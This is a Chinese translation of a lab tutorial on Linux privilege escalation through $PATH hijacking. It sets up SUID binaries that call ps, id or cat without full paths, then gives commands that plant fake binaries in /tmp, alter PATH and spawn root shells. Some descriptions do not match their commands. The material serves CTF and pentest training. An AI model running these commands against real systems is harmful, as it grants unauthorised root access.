译文声明
本文是翻译文章,文章原作者,文章来源:http://www.hackingarticles.in/
原文地址:http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
译文仅供参考,具体内容表达以及含义原文为准
在解决了几个OSCP挑战之后,我们决定写一篇用各种方法进行Linux提权的的文章,这可能会对读者在进行渗透测试项目时有所帮助。在本文中,我们将学习各种操纵$ PATH变量的方法来获取远程主机的root访问权限,以及在CTF挑战中通过生成$PATH漏洞导致提权的技术。如果你已经解决了CTF对Post Exploit的挑战,那么通过阅读这篇文章,你将会意识到导致提权的一些漏洞。
让我们开始吧!!
介绍
PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。超级用户通常还可以使用/sbin和/usr/sbin以便于执行系统管理的命令。
可以简单的使用echo命令查看用户的PATH。
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你注意到’.’在环境PATH变量中,它表示登录的用户可以从当前目录执行二进制文件/脚本,并且它可以成为攻击者升级为root权限的绝佳技术。这是因为管理员在编写程序时缺乏注意,没有指定程序的完整路径。
方法1
Ubuntu LAB SET_UP
目前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。现在在脚本目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd mkdir script cd /script
nano demo.c
正如你可以在我们的demo.c文件中看到的,我们正在调用ps命令,它是系统二进制文件。
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
ls gcc demo.c -o shell chmod u+s shell ls -la shell
渗透受害者的VM机器
首先,你需要登陆到目标系统,然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
因此,借助上述命令,攻击者可以枚举任何可执行文件,这里我们还可以发现具有suid权限的/home/raj/script/shell。
然后我们进入/home/raj/script并看到一个可执行文件”shell”。所以我们运行这个文件,在这里它看起来像文件shell试图运行ps,这是一个真正的在/bin中的文件可以查看进程状态。
ls ./shell
echo 命令
cd /tmp echo "/bin/sh" > ps
chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/raj/script
./shell
whoami
copy 命令
cd /home/raj/script/
cp /bin/sh /tmp/ps echo $PATH export PATH=/tmp:$PATH ./shell
whoami
Symlink 命令
ln -s /bin/sh ps export PATH=.:$PATH ./shell
id
whoami
注:symlink也称为符号链接,如果该目录具有完全权限,则它们将成功运行。在Ubuntu中,在符号链接的情况下,我们已将权限777授予/script目录。
因此,我们看到攻击者可以操纵环境变量PATH来进行提权并获得root访问权限
方法2
Ubuntu LAB SET_UP
重复上述步骤配置您自己的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd mkdir script cd /script
nano demo.c
正如你可以在我们的demo.c文件中看到的,我们正在调用id命令,它是系统二进制文件。
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
ls gcc demo.c -o shell2 chmod u+s shell2 ls -la shell2
渗透受害者的VM机器
同样,您需要登陆目标系统,然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。在这里,我们还可以发现具有suid权限的/home/raj/script/shell2。
find / -perm -u=s -type f 2>/dev/null
然后我们进入/home/raj/script并看到一个可执行文件”shell2”。所以我们运行这个文件,它看起来像文件shell2试图运行id,这是一个真正的在/bin中的文件。
cd /home/raj/script
ls
./shell2
echo 命令
cd /tmp echo "/bin/sh" > id
chmod 777 id echo $PATH export PATH=/tmp:$PATH cd /home/raj/script
./shell2
whoami
方法3
Ubuntu LAB SET_UP
重复上述步骤设置您自己的实验环境,您可以在我们的demo.c文件中观察我们正在调用cat命令从etc/passwd文件中读取内容。
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
ls gcc demo.c -o raj chmod u+s raj ls -la raj
渗透受害者的VM机器
再次登陆受害者的系统,然后进入提权阶段并执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里,我们还可以发现/home/raj/script/raj具有suid权限,然后我们进入/home/raj /script并看到一个可执行文件”raj”。所以当我们运行这个文件时,它会把etc/passwd文件作为结果。
cd /home/raj/script/
ls
./raj
Nano 编辑器
cd /tmp
nano cat
chmod 777 cat
ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script
./raj
whoami
方法4
Ubuntu LAB SET_UP
重复上面的步骤来设置你自己的实验环境,你可以在我们的demo.c文件中看到我们正在调用cat命令来读取/home/raj中的msg.txt,但是/home/raj中没有这样的文件。
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限
ls gcc demo.c -o ignite chmod u+s ignite ls -la ignite
渗透受害者的VM机器
再次登陆受害者的系统,然后进入提权阶段,并执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里我们也可以发现/home/raj/script/ignite具有suid权限,然后我们进入/home/raj/script并看到一个可执行文件”ignite”。所以,当我们运行这个文件时,会产生一个”cat:/home/raj/msg.txt”的错误结果。
cd /home/raj/script
ls
./ignite
Vi编辑器
cd /tmp
vi cat
chmod 777 cat
ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script
./ignite
whoami